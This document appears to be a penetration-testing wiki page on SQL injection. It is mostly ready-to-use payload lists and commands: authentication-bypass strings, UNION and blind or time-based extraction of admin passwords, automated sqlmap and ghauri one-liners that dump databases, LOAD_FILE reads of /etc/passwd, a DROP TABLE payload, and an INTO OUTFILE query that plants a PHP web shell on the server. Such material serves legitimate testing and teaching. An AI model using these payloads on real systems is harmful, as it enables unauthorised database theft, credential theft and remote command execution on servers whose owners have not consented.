# SQL Injection

[![ko-fi](https://ko-fi.com/img/githubbutton_sm.svg)](https://ko-fi.com/Y8Y41FQ2GA)

{% content-ref url="../protocols/mysql-3306" %}
[mysql-3306](https://0xss0rz.gitbook.io/0xss0rz/pentest/protocols/mysql-3306)
{% endcontent-ref %}

{% content-ref url="../protocols/mssql-1433" %}
[mssql-1433](https://0xss0rz.gitbook.io/0xss0rz/pentest/protocols/mssql-1433)
{% endcontent-ref %}

{% content-ref url="../tools/sqlmap" %}
[sqlmap](https://0xss0rz.gitbook.io/0xss0rz/pentest/tools/sqlmap)
{% endcontent-ref %}

```php
$searchInput =  $_POST['findUser'];
$query = "select * from logins where username like '%$searchInput'";
$result = $conn->query($query);
```

```sql
select * from logins where username like '%$searchInput'
```

payload

```php
'%1'; DROP TABLE users;'
```

```sql
select * from logins where username like '%1'; DROP TABLE users;'
```

return

```php
Error: near line 1: near "'": syntax error
```

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FZziw0JfIPGmJ72r22C76%2Fimage.png?alt=media&#x26;token=353b7c4f-2b77-4b4d-8686-476cd0d42b8c" alt=""><figcaption><p>Type of SQLi</p></figcaption></figure>

## Cheatsheet

{% embed url="<https://tib3rius.com/sqli>" %}

{% embed url="<https://portswigger.net/web-security/sql-injection/cheat-sheet>" %}

## One Liners

{% embed url="<https://github.com/xnl-h4ck3r/urless>" %}

```
$ waymore -i urls | tee urls-his
$ cat urls-his | gf sqli |urless| anew sqli
$ ghauri -m sqli --confirm --batch --level=3  -b
```

{% embed url="<https://github.com/h6nt3r/tools/blob/main/oneliners/sql_Injection.md?s=03>" %}

install [urlfinder](https://github.com/projectdiscovery/urlfinder), [qsreplace](https://github.com/tomnomnom/qsreplace), [anew](https://github.com/tomnomnom/anew), [ghauri](https://github.com/r0oth3x49/ghauri), sqlmap

#### SQLi All

```
urlfinder -d "example.com" -all | grep -aE '\.(php|asp|aspx|jsp|cfm)' | qsreplace "SQLI" | grep -a "SQLI" | anew > sqli.txt;ghauri -m sqli.txt --random-agent --confirm --force-ssl --level=3 --dbs --dump --batch
```

#### Blind SQLi

```
urlfinder -d "example.com" -all | grep -aE '\.(php|asp|aspx|jsp|cfm)' | qsreplace "SQLI" | grep -a "SQLI" | anew > sqli.txt;sqlmap -m sqli.txt --technique=BT --level=5 --risk=3 --tamper=space2comment,sleep2getlock,space2randomblank,between,randomcase,randomcomments,bluecoat,ifnull2ifisnull --batch --random-agent --no-cast --current-db --hostname
```

#### Time Based SQLi

```
urlfinder -d "example.com" -all | grep -aE '\.(php|asp|aspx|jsp|cfm)' | qsreplace "SQLI" | grep -a "SQLI" | anew > sqli.txt;sqlmap -m sqli.txt --technique=T --level=5 --risk=3 --tamper=space2comment,space2plus,space2randomblank,space2morehash,between,randomcase,charencode,symboliclogical --batch --random-agent --no-cast --time-sec=10 --current-db --count
```

## SQLi Discovery

| Payload | URL Encoded |
| ------- | ----------- |
| `'`     | `%27`       |
| `"`     | `%22`       |
| `#`     | `%23`       |
| `;`     | `%3B`       |
| `)`     | `%29`       |

### Recon

{% embed url="<https://infosecwriteups.com/mastering-sql-injection-recon-step-by-step-guide-for-bug-bounty-hunters-9f493fb058dd>" %}

{% embed url="<https://adce626.github.io/SQLi-Pentest-Toolkit/>" %}

### Nmap

```
nmap --script http-sql-injection -p 80 http://example.com
```

## Generic Payloads

```
'
''
`
``
,
"
""
/
//
\
\\
;
'--
' or "
-- or # 
' OR '1
' OR 1 -- -
" OR "" = "
'+OR+1=1--
' OR 1=1--
" OR 1 = 1 -- -
' OR '' = '
'='
'LIKE'
'=0--+
 OR 1=1
' OR 'x'='x
' AND id IS NULL; --
'''''''''''''UNION SELECT '2
%6c%75%33%6b%79%31%33' AND 1=CAST((SELECT version()) AS int) --

# Numeric
AND 1
AND 0
AND true
AND false
1-false
1-true
1*56
-2

1' ORDER BY 1--+
1' ORDER BY 2--+
1' ORDER BY 3--+

1' ORDER BY 1,2--+
1' ORDER BY 1,2,3--+

1' GROUP BY 1,2,--+
1' GROUP BY 1,2,3--+
' GROUP BY columnnames having 1=1 --

-1' UNION SELECT 1,2,3--+
' UNION SELECT sum(columnname ) from tablename --

-1 UNION SELECT 1 INTO @,@
-1 UNION SELECT 1 INTO @,@,@

1 AND (SELECT * FROM Users) = 1

' AND MID(VERSION(),1,1) = '5';

' and 1 in (select min(name) from sysobjects where xtype = 'U' and name > '.') --

# Time-Based:
,(select * from (select(sleep(10)))a)
%2c(select%20*%20from%20(select(sleep(10)))a)
';WAITFOR DELAY '0:0:30'--

======================================

#    Hash comment
/*  C-style comment
-- - SQL comment
;%00 Nullbyte
`    Backtick
%00
/*…*/ 
+ addition, concatenate (or space in url)
|| (double pipe) concatenate
% wildcard attribute indicator

@ variable local variable
@@ variable global
 variable
```

### Polyglot

```
&1/*'/*"/**/||1#\
and-1/*'/*"/**/||1--+\
```

## Authentication Bypass

```sql
SELECT * FROM logins WHERE username='admin' AND password = 'p@ssw0rd';
```

```sql
admin' or '1'='1
```

```sql
SELECT * FROM logins WHERE username='admin' or '1'='1' AND password = 'something';
```

Username field:

{% hint style="info" %}
*Use a known username*
{% endhint %}

```
administrator'--
```

```
' OORR 1<2 #
admin' --
admin' #
admin'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
' and 'one'='one
' group by password having 1=1--
' group by userid having 1=1--
' group by username having 1=1--
like '%'
' or uid like '%
' or uname like '%
' or userid like '%
' or user like '%
' or username like '%
' or 'a'='a
' or a=a--
' or a=a–
') or ('a'='a
" or "a"="a
") or ("a"="a
') or ('a'='a and hi") or ("a"="a
' or 'one'='one
' or 'one'='one–
' or uid like '%
' or uname like '%
' or userid like '%
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or 1=1--
or true--
" or true--
' or true--
")or true--
') or true--
' or 'x'='x
) or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
```

Password field:

```
' or ''='
') or true—
') or ('')=('
') or 1—
') or ('x')=('
" or true—
" or ""="
" or 1—
" or "x"="
") or true—
") or ("")=("
") or 1—
") or ("x")=("
')) or true—
')) or ((''))=(('
')) or 1—
```

### Fuzzing

{% hint style="success" %}
*Start with "*[*Generic Payload*](#generic-payloads)*" List*
{% endhint %}

{% content-ref url="fuzzing" %}
[fuzzing](https://0xss0rz.gitbook.io/0xss0rz/pentest/web-attacks/fuzzing)
{% endcontent-ref %}

{% embed url="<https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#authentication-bypass>" %}

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FJWqrLKv0lWWHBjOCvKQp%2Fimage.png?alt=media&#x26;token=626687b8-85e2-424c-be41-aa486060a614" alt=""><figcaption></figcaption></figure>

## Comments

We can use two types of line comments with MySQL `--` and `#`, in addition to an in-line comment `/**/`

## Auth Bypass with comments

```
admin'--
```

```sql
SELECT * FROM logins WHERE username='admin'-- ' AND password = 'something';
```

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FoSf5bjwXiJsLHbgJvsvC%2Fimage.png?alt=media&#x26;token=4ed9528a-3a3b-4ec4-8ee2-0d826ee5583a" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
Put spaces after --
{% endhint %}

```
admin')--
```

```sql
SELECT * FROM logins where (username='admin')
```

```
user' or id=5 ) --   test
```

```
SELECT * FROM logins WHERE (username='user' or id=5 ) -- test' AND id > 1) AND password = '******'
```

## ID parameter

```
?id=1' order by 1 --+
?id=1' and "a"="a"--+
?id=1' and database()="securtiy"--+
?id=1' and substring(database(),1,1)="a"--+
?id=1' and sleep(2) and "a"="a"--+
?id=1' and sleep(2) and substring(database(),1,1)="a"--+
```

## Header Injection

{% content-ref url="http-header-exploitation" %}
[http-header-exploitation](https://0xss0rz.gitbook.io/0xss0rz/pentest/web-attacks/http-header-exploitation)
{% endcontent-ref %}

## Union

```
MariaDB [employees]> select * from employees limit 5;
+--------+------------+------------+-------------+--------+------------+
| emp_no | birth_date | first_name | last_name   | gender | hire_date  |
+--------+------------+------------+-------------+--------+------------+
|  10001 | 1953-09-02 | Georgi     | Facello     | M      | 1986-06-26 |
|  10002 | 1952-12-03 | Vivian     | Billawala   | F      | 1986-12-11 |
|  10003 | 1959-06-16 | Temple     | Lukaszewicz | M      | 1992-07-04 |
|  10004 | 1956-11-06 | Masanao    | Rahimi      | M      | 1986-12-16 |
|  10005 | 1962-12-11 | Sanjay     | Danlos      | M      | 1985-08-01 |
+--------+------------+------------+-------------+--------+------------+
5 rows in set (0.038 sec)

MariaDB [employees]> select * from departments limit 5;
+---------+------------------+
| dept_no | dept_name        |
+---------+------------------+
| d009    | Customer Service |
| d005    | Development      |
| d002    | Finance          |
| d003    | Human Resources  |
| d001    | Marketing        |
+---------+------------------+
5 rows in set (0.022 sec)

MariaDB [employees]> select dept_no from departments union select emp_no from employees;
```

{% embed url="<https://portswigger.net/web-security/sql-injection/union-attacks>" %}

{% embed url="<https://www.sqlinjection.net/union/>" %}

{% embed url="<https://sqlwiki.netspi.com/injectionTypes/unionBased/#mysql>" %}

### Detect number of columns - Using ORDER BY

{% embed url="<https://sqlwiki.netspi.com/injectionTypes/errorBased/#mysql>" %}

```sql
' order by 1-- -
```

```sql
' order by 2-- -
```

&#x20;Until we reach a number that returns an error

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FeDxIi5oB8WxYSeWmCMPX%2Fimage.png?alt=media&#x26;token=834b42d3-f916-43af-9e3d-8bed4612209c" alt=""><figcaption></figcaption></figure>

This means that this table has exactly 4 columns .

```sql
cn' UNION select 1,2,3,4-- -
```

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FCDuflixyI7HiIZN3LBHw%2Fimage.png?alt=media&#x26;token=5de994c8-6834-499b-837a-7833eb157f2d" alt=""><figcaption></figcaption></figure>

While a query may return multiple columns, the web application may only display some of them. So, if we inject our query in a column that is not printed on the page, we will not get its output. This is why we need to determine which columns are printed to the page, to determine where to place our injection.

{% hint style="info" %}
We cannot place our injection at the beginning, or its output will not be printed.
{% endhint %}

```sql
cn' UNION select 1,@@version,3,4-- -
```

{% embed url="<https://portswigger.net/web-security/sql-injection/union-attacks>" %}

{% embed url="<https://www.sqlinjection.net/union/>" %}

{% embed url="<https://sqlwiki.netspi.com/injectionTypes/unionBased/#mysql>" %}

### Detect number of columns - using NULL

```
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
etc.
```

### Detect data type

```
' UNION SELECT 'a',NULL,NULL,NULL--
' UNION SELECT NULL,'a',NULL,NULL--
' UNION SELECT NULL,NULL,'a',NULL--
' UNION SELECT NULL,NULL,NULL,'a'--
```

If the column data type is not compatible with string data, the injected query will cause a database error, such as:

`Conversion failed when converting the varchar value 'a' to data type int.`

## Database Enumeration

### Fingerprinting

{% embed url="<https://sqlwiki.netspi.com/attackQueries/informationGathering/#mysql>" %}

| Payload            | When to Use                      | Expected Output                                     | Wrong Output                                              |
| ------------------ | -------------------------------- | --------------------------------------------------- | --------------------------------------------------------- |
| `SELECT @@version` | When we have full query output   | MySQL Version 'i.e. `10.3.22-MariaDB-1ubuntu1`'     | In MSSQL it returns MSSQL version. Error with other DBMS. |
| `SELECT POW(1,1)`  | When we only have numeric output | `1`                                                 | Error with other DBMS                                     |
| `SELECT SLEEP(5)`  | Blind/No Output                  | Delays page response for 5 seconds and returns `0`. | Will not delay response with other DBMS                   |

| Database type    | Query                     |
| ---------------- | ------------------------- |
| Microsoft, MySQL | `SELECT @@version`        |
| Oracle           | `SELECT * FROM v$version` |
| PostgreSQL       | `SELECT version()`        |

```
' UNION SELECT @@version--
```

### Database

```
mysql> SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA;

+--------------------+
| SCHEMA_NAME        |
+--------------------+
| mysql              |
| information_schema |
| performance_schema |
| ilfreight          |
| dev                |
+--------------------+
6 rows in set (0.01 sec)
```

```sql
cn' UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA-- -
```

&#x20;Find the current database with the `SELECT database()` query

```sql
cn' UNION select 1,database(),2,3-- -
```

### Tables&#x20;

```sql
cn' UNION select 1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES where table_schema='dev'-- -
```

```
SELECT * FROM information_schema.tables
```

```
'+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables--
```

### Columns&#x20;

```sql
cn' UNION select 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='credentials'-- -
```

```
SELECT * FROM information_schema.columns WHERE table_name = 'Users'
```

```
'+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users'--
```

### Data

{% hint style="info" %}
Remember: don't forget to use the dot operator to refer to the 'credentials' in the 'dev' database, as we are running in the 'ilfreight' database, as previously discussed.
{% endhint %}

```sql
cn' UNION select 1, username, password, 4 from dev.credentials-- -
```

```
'+UNION+SELECT+username,+password+FROM+users--
```

Retrieve multiple values with a single column - Oracle

```
' UNION SELECT username || '~' || password FROM users--
```

## Reading Files

{% content-ref url="../protocols/mysql-3306" %}
[mysql-3306](https://0xss0rz.gitbook.io/0xss0rz/pentest/protocols/mysql-3306)
{% endcontent-ref %}

{% embed url="<https://www.exploit-db.com/papers/14635>" %}

### DB User

```sql
SELECT USER()
SELECT CURRENT_USER()
SELECT user from mysql.user
```

```sql
cn' UNION SELECT 1, user(), 3, 4-- -
```

```sql
cn' UNION SELECT 1, user, 3, 4 from mysql.user-- -
```

### User Privileges

```sql
SELECT super_priv FROM mysql.user
```

```sql
cn' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user-- -
```

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FNvv5rNmuqZ3VZKXRQStQ%2Fimage.png?alt=media&#x26;token=24c60cee-0e82-4f0c-a224-7ead93ec137d" alt=""><figcaption></figcaption></figure>

`Y` = yes, super\_priv

If we had many users within the DBMS:

```sql
cn' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user WHERE user="root"-- -
```

Other privileges:

```sql
cn' UNION SELECT 1, grantee, privilege_type, 4 FROM information_schema.user_privileges-- -
```

```sql
cn' UNION SELECT 1, grantee, privilege_type, 4 FROM information_schema.user_privileges WHERE grantee="'root'@'localhost'"-- -
```

`FILE` privilege is listed for our user, enabling us to read files and potentially even write files

### [LOAD\_FILE](#reading-writing-files)

```sql
SELECT LOAD_FILE('/etc/passwd');
```

{% hint style="info" %}
Note: We will only be able to read the file if the OS user running MySQL has enough privileges to read it.
{% endhint %}

```sql
cn' UNION SELECT 1, LOAD_FILE("/etc/passwd"), 3, 4-- -
```

```sql
cn' UNION SELECT 1, LOAD_FILE("/var/www/html/search.php"), 3, 4-- -
```

```
# Load File 
http://vulnsite.com/index.php?id=-1+union+all+select+1,load_file('/etc/passwd'),3,4+from+mysql.user--

## Bypass Filters
Load File - "/etc/passwd":) load_file(0x2f6574632f706173737764)
Load File - "/etc/passwd":) load_file(char(47,101,116,99,47,112,97,115,115,119,100))

# Into OutFile
http://vulnsite.com/index.php?id=-1+union+all+select+1,"testing",3,4+INTO+OUTFILE+'/home/vulnsite/www/test.txt'--
```

## Write Files

To be able to write files to the back-end server using a MySQL database, we require three things:

1. User with `FILE` privilege enabled
2. MySQL global `secure_file_priv` variable not enabled
3. Write access to the location we want to write to on the back-end server

```sql
SHOW VARIABLES LIKE 'secure_file_priv';
```

```sql
SELECT variable_name, variable_value FROM information_schema.global_variables where variable_name="secure_file_priv"
```

```sql
cn' UNION SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variables where variable_name="secure_file_priv"-- -
```

`secure_file_priv` value is empty, meaning that we can read/write files to any location.

```shell-session
SELECT * from users INTO OUTFILE '/tmp/credentials';
```

```sql
SELECT 'this is a test' INTO OUTFILE '/tmp/test.txt';
```

{% hint style="info" %}
Tip: Advanced file exports utilize the 'FROM\_BASE64("base64\_data")' function in order to be able to write long/advanced files, including binary data.
{% endhint %}

### Web Shell

{% hint style="info" %}
Note: To write a web shell, we must know the base web directory for the web server (i.e. web root). One way to find it is to use `load_file` to read the server configuration, like Apache's configuration found at `/etc/apache2/apache2.conf`, Nginx's configuration at `/etc/nginx/nginx.conf`, or IIS configuration at `%WinDir%\System32\Inetsrv\Config\ApplicationHost.config`, or we can search online for other possible configuration locations. Furthermore, we may run a fuzzing scan and try to write files to different possible web roots, using [this wordlist for Linux](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/default-web-root-directory-linux.txt) or [this wordlist for Windows](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/default-web-root-directory-windows.txt). Finally, if none of the above works, we can use server errors displayed to us and try to find the web directory that way.
{% endhint %}

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FKyZenR4lcrN7FaZjRc05%2Fimage.png?alt=media&#x26;token=9888a645-c399-4d89-b82f-ccd8618c7cc7" alt=""><figcaption></figcaption></figure>

```sql
cn' union select "",'<?php system($_REQUEST[0]); ?>', "", "" into outfile '/var/www/html/shell.php'-- -
```

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2F6gHVR8Cl5ELARg3zXBj5%2Fimage.png?alt=media&#x26;token=ed0dc434-72ed-421f-b517-9319bc184058" alt=""><figcaption></figcaption></figure>

{% content-ref url="../shells/web-shell" %}
[web-shell](https://0xss0rz.gitbook.io/0xss0rz/pentest/shells/web-shell)
{% endcontent-ref %}

{% content-ref url="../shells/bind-and-reverse-shell" %}
[bind-and-reverse-shell](https://0xss0rz.gitbook.io/0xss0rz/pentest/shells/bind-and-reverse-shell)
{% endcontent-ref %}

***

## Resources

{% embed url="<https://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet>" %}

* <https://www.invicti.com/blog/web-security/sql-injection-cheat-sheet/>
* <https://swisskyrepo.github.io/PayloadsAllTheThingsWeb/SQL%20Injection/>
* <https://book.hacktricks.xyz/pentesting-web/sql-injection>
* <https://cheatsheet.haax.fr/web-pentest/injections/server-side-injections/sql/>
* <https://sqlwiki.netspi.com/#mysql>
* <https://portswigger.net/web-security/sql-injection/cheat-sheet>

## Payloads

* <https://github.com/payloadbox/sql-injection-payload-list> - Also see: <https://github.com/payloadbox/sql-injection-payload-list/tree/master/Intruder>
* <https://github.com/CyberM0nster/SQL-Injection-Payload-List-/tree/master>
* <https://github.com/coffinxp/payloads/blob/main/allsqli.txt>

***

## Blind SQL Injection - Conditional Response

Confirm injection by adding quote

```
/search?query='
/search?query=''
/search?query='''
```

{% embed url="<https://bountysecurity.ai/blogs/news/optimizing-blind-sql-injection-detection-with-content-length-differences>" %}

{% embed url="<https://github.com/coffinxp/payloads/blob/main/blindsqli.txt>" %}

```
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm
```

Return a valid message ⇒ 1th letter of the password is greater than m

```
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 't
```

Return an invalid message ⇒ 1th letter of the password is lower than t

```
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 's
```

Return a valid message ⇒ 1th letter of the password is equal to s

2nd letter

```
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 2, 1) = 'e
```

3d letter

```
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 3, 1) = 'c
```

And so on

```
TrackingId=xyz' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='§a§
```

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FyEwoP8I6L6au5jLZofE7%2Fimage.png?alt=media&#x26;token=1dbf8eec-48e9-4777-93c5-78bb1b4e43ed" alt=""><figcaption></figcaption></figure>

```
TrackingId=xyz' AND (SELECT SUBSTRING(password,1,2) FROM users WHERE username='administrator')='n§a§
```

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FHoIGbDVSmoHJYOp7MJua%2Fimage.png?alt=media&#x26;token=cfd6c673-a4ba-40ef-947b-b4b4e3fbfef6" alt=""><figcaption></figcaption></figure>

```
TrackingId=xyz' AND (SELECT SUBSTRING(password,1,3) FROM users WHERE username='administrator')='n5§a§
```

Etc.

### Detect length

```
xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>2)='a
```

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2Feivkm2KMx8U0ef3rw4Sc%2Fimage.png?alt=media&#x26;token=14db9bf0-14b9-4ef5-b8f5-2230fdca2184" alt=""><figcaption></figcaption></figure>

## Blind Time Based SQLi

```
0'XOR(if(now()=sysdate(),sleep(5),0))XOR'Z
0'XOR(if (now()=sysdate(),sleep(5*1),0))XOR'Z
if(now()=sysdate(), sleep(5),0)
'XOR(if(now()=sysdate(), sleep(5),0))XOR'
'XOR(if (now()=sysdate(), sleep(5*1),0))OR'
```

## Time Based SQL Injection

```
'; IF (1=2) WAITFOR DELAY '0:0:10'--
'; IF (1=1) WAITFOR DELAY '0:0:10'--
```

* The first of these inputs does not trigger a delay, because the condition `1=2` is false.
* The second input triggers a delay of 10 seconds, because the condition `1=1` is true.

Test one character at a time

```
'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--
```

Retrieve password - PostgreSQL

```
|| CASE WHEN (SUBSTRING((SELECT password FROM users WHERE username = 'administrator'),1,1) = 'a') THEN pg_sleep(5) ELSE pg_sleep(0) END -- 
```

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FYxGCaBqy4dAzRIPnKNeK%2Fimage.png?alt=media&#x26;token=6ee591cb-2681-483e-ab1d-9ead5874e388" alt=""><figcaption></figcaption></figure>

```
' || CASE WHEN (SUBSTRING((SELECT password FROM users WHERE username = 'administrator'),1,2) = 'ea') THEN pg_sleep(5) ELSE pg_sleep(0) END --
```

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FEaASZrSBFa5B5oQ4NSAr%2Fimage.png?alt=media&#x26;token=c9579bf3-26fe-483e-8a3d-8650abd33648" alt=""><figcaption></figcaption></figure>

Etc.

```
XOR(if(now()=sysdate(),sleep(5),0))XOR
```

Increase Time Delay to confirm injection

```
'; WAITFOR DELAY '00:00:05' --
'; WAITFOR DELAY '00:00:10' --
'; WAITFOR DELAY '00:00:20' --
```

{% embed url="<https://bountysecurity.ai/blogs/news/optimizing-time-based-sql-injection-detection>" %}

```
+(select*from(select(sleep(20))))a)+
```

```
if(now()=sysdate(),sleep(10),0)/*'XOR(if(now()=sysdate(),sleep(10),0))OR'"XOR(if(now()=sysdate(),sleep(10),0))OR"*/
```

```
XOR(if(now()=sysdate(),sleep(7),0))XOR%23
'or sleep(7)--#
'or sleep(7)#
'or sleep(7)='#
'or sleep(7)='--
'/*F*/or/*F*/sleep(7)='
'or sleep(7)--%23
'or sleep(7)%23
'or sleep(7);%00
or sleep(7)--+-
or sleep(7)#
'/*f*/or/*f*/sleep/*f*/(7)--#
'/*f*/or/*f*/sleep/*f*/(7)#
or sleep(7)%23
'/*f*/or/*f*/sleep/*f*/(7)--%23
'/*f*/or/*f*/sleep/*f*/(7)%23
'/*f*/or/*f*/sleep/*f*/(7);%00
or/*f*/sleep/*f*/(7)--+-
or/*f*/sleep/*f*/(7)#
'XOR(if(now()=sysdate(),sleep(7),0))XOR'
'OR(if(now()=sysdate(),sleep(7),0))--#
'OR(if(now()=sysdate(),sleep(7),0))#
or/*f*/sleep/*f*/(7)%23
'OR(if(now()=sysdate(),sleep(7),0))--%23
'OR(if(now()=sysdate(),sleep(7),0))%23
'OR(if(now()=sysdate(),sleep(7),0));%00
OR(if(now()=sysdate(),sleep(7),0))--+-
OR(if(now()=sysdate(),sleep(7),0))#
OR(if(now()=sysdate(),sleep(7),0))%23
'WAITFORDELAY'0:0:7';%00
'WAITFORDELAY'0:0:7'#
'WAITFORDELAY'0:0:7'%23
'WAITFORDELAY'0:0:7';%00
WAITFORDELAY'0:0:7'#
WAITFORDELAY'0:0:7'%23
WAITFORDELAY'0:0:7'--+-
'WAITFORDELAY'0:0:7'--+-
'WAITFORDELAY'0:0:7'='
\/*F*/or/*f*/sleep(7)%23
'/*f*/OR/*f*/pg_sleep(7)#
'/*f*/OR/*f*/pg_sleep(7)%23
'/*f*/OR/*f*/pg_sleep(7);%00
/*f*/OR/*f*/pg_sleep(70)--+-
/*f*/OR/*f*/pg_sleep(70)#
/*f*/OR/*f*/pg_sleep(70)%23
'/*f*/OR/*f*/pg_sleep(7)=';%00
\)/*F*/or/*f*/sleep(7)%23
\)/*F*/or/*f*/sleep(7)%23
%E2%84%A2%27/*F*/or/*f*/sleep(7)%23
%E2%84%A2%27/*F*/or/*f*/pg_sleep(7)%23
%E2%84%A2%22/*F*/or/*f*/pg_sleep(7)%23
%E2%84%A2%22/*F*/or/*f*/sleep(7)%23
%E2%84%A2%22/*F*/or/*f*/sleep(7)--+-
%E2%84%A2\)/*F*/or/*f*/sleep(7)--+-
%E2%84%A2%27)/*F*/or/*f*/sleep(7)--+-
%E2%84%A2'/*F*/or/*f*/sleep(7)='
%E2%84%A2')/*F*/or/*f*/sleep(7)='
0'XOR(if(now()=sysdate(),sleep(10),0))XOR'X
0"XOR(if(now()=sysdate(),sleep(10),0))XOR"Z
'XOR(if((select now()=sysdate()),sleep(10),0))XOR'Z
X'XOR(if(now()=sysdate(),//sleep(5)//,0))XOR'X
X'XOR(if(now()=sysdate(),(sleep((((5))))),0))XOR'X
X'XOR(if((select now()=sysdate()),BENCHMARK(1000000,md5('xyz')),0))XOR'X
'XOR(SELECT(0)FROM(SELECT(SLEEP(9)))a)XOR'Z
(SELECT(0)FROM(SELECT(SLEEP(6)))a)
'XOR(if(now()=sysdate(),sleep(5*5),0))OR'
'XOR(if(now()=sysdate(),sleep(5*5*0),0))OR'
(SELECT * FROM (SELECT(SLEEP(5)))a)
'%2b(select*from(select(sleep(5)))a)%2b'
CASE//WHEN(LENGTH(version())=10)THEN(SLEEP(6*1))END
');(SELECT 4564 FROM PG_SLEEP(5))--
["')//OR//MID(0x352e362e33332d6c6f67,1,1)//LIKE//5//%23"]
DBMS_PIPE.RECEIVE_MESSAGE(%5BINT%5D,5)%20AND%20%27bar%27=%27bar
AND 5851=DBMS_PIPE.RECEIVE_MESSAGE([INT],5) AND 'bar'='bar
1' AND (SELECT 6268 FROM (SELECT(SLEEP(5)))ghXo) AND 'IKlK'='IKlK
(select*from(select(sleep(20)))a)
'%2b(select*from(select(sleep(0)))a)%2b'
*'XOR(if(2=2,sleep(10),0))OR'
-1' or 1=IF(LENGTH(ASCII((SELECT USER())))>13, 1, 0)--//
'+(select*from(select(if(1=1,sleep(20),false)))a)+'"
2021 AND (SELECT 6868 FROM (SELECT(SLEEP(32)))IiOE)
BENCHMARK(10000000,MD5(CHAR(116)))
'%2bbenchmark(10000000%2csha1(1))%2b'
'%20and%20(select%20%20from%20(select(if(substring(user(),1,1)='p',sleep(5),1)))a)--%20 - true
if(now()=sysdate(),sleep(3),0)/'XOR(if(now()=sysdate(),sleep(3),0))OR'"XOR(if(now()=sysdate(),sleep(3),0))OR"/
if(now()=sysdate(),sleep(10),0)/'XOR(if(now()=sysdate(),sleep(10),0))OR'"XOR(if(now()=sysdate(),sleep(10),0) and 1=1)"/
```

{% embed url="<https://github.com/Karanxa/Bug-Bounty-Wordlists/blob/main/sqli_blind_time-based.txt>" %}

```
`/?query="OR 1=1;--"&val1=ZGlkbnQgZXZlbiByZWFk&val2=aHR0cHM6Ly95b3V0dS5iZS9kUXc0dzlXZ1hjUQ%3D%3D&SLEEP(420)`
```

{% embed url="<https://twitter.com/_mostwanted002_/status/1781940055507980782?s=03&t=Lxc1XmCXIFDZSKvL7PDyJQ>" %}

{% embed url="<https://www.sqlinjection.net/time-based/>" %}

{% embed url="<https://beaglesecurity.com/blog/vulnerability/time-based-blind-sql-injection.html>" %}

### Nuclei Template

```yaml
id: time-based-sqli
info:
  name: Time-Based Blind SQL Injection
  author: github.com/rzizah
  severity: Critical
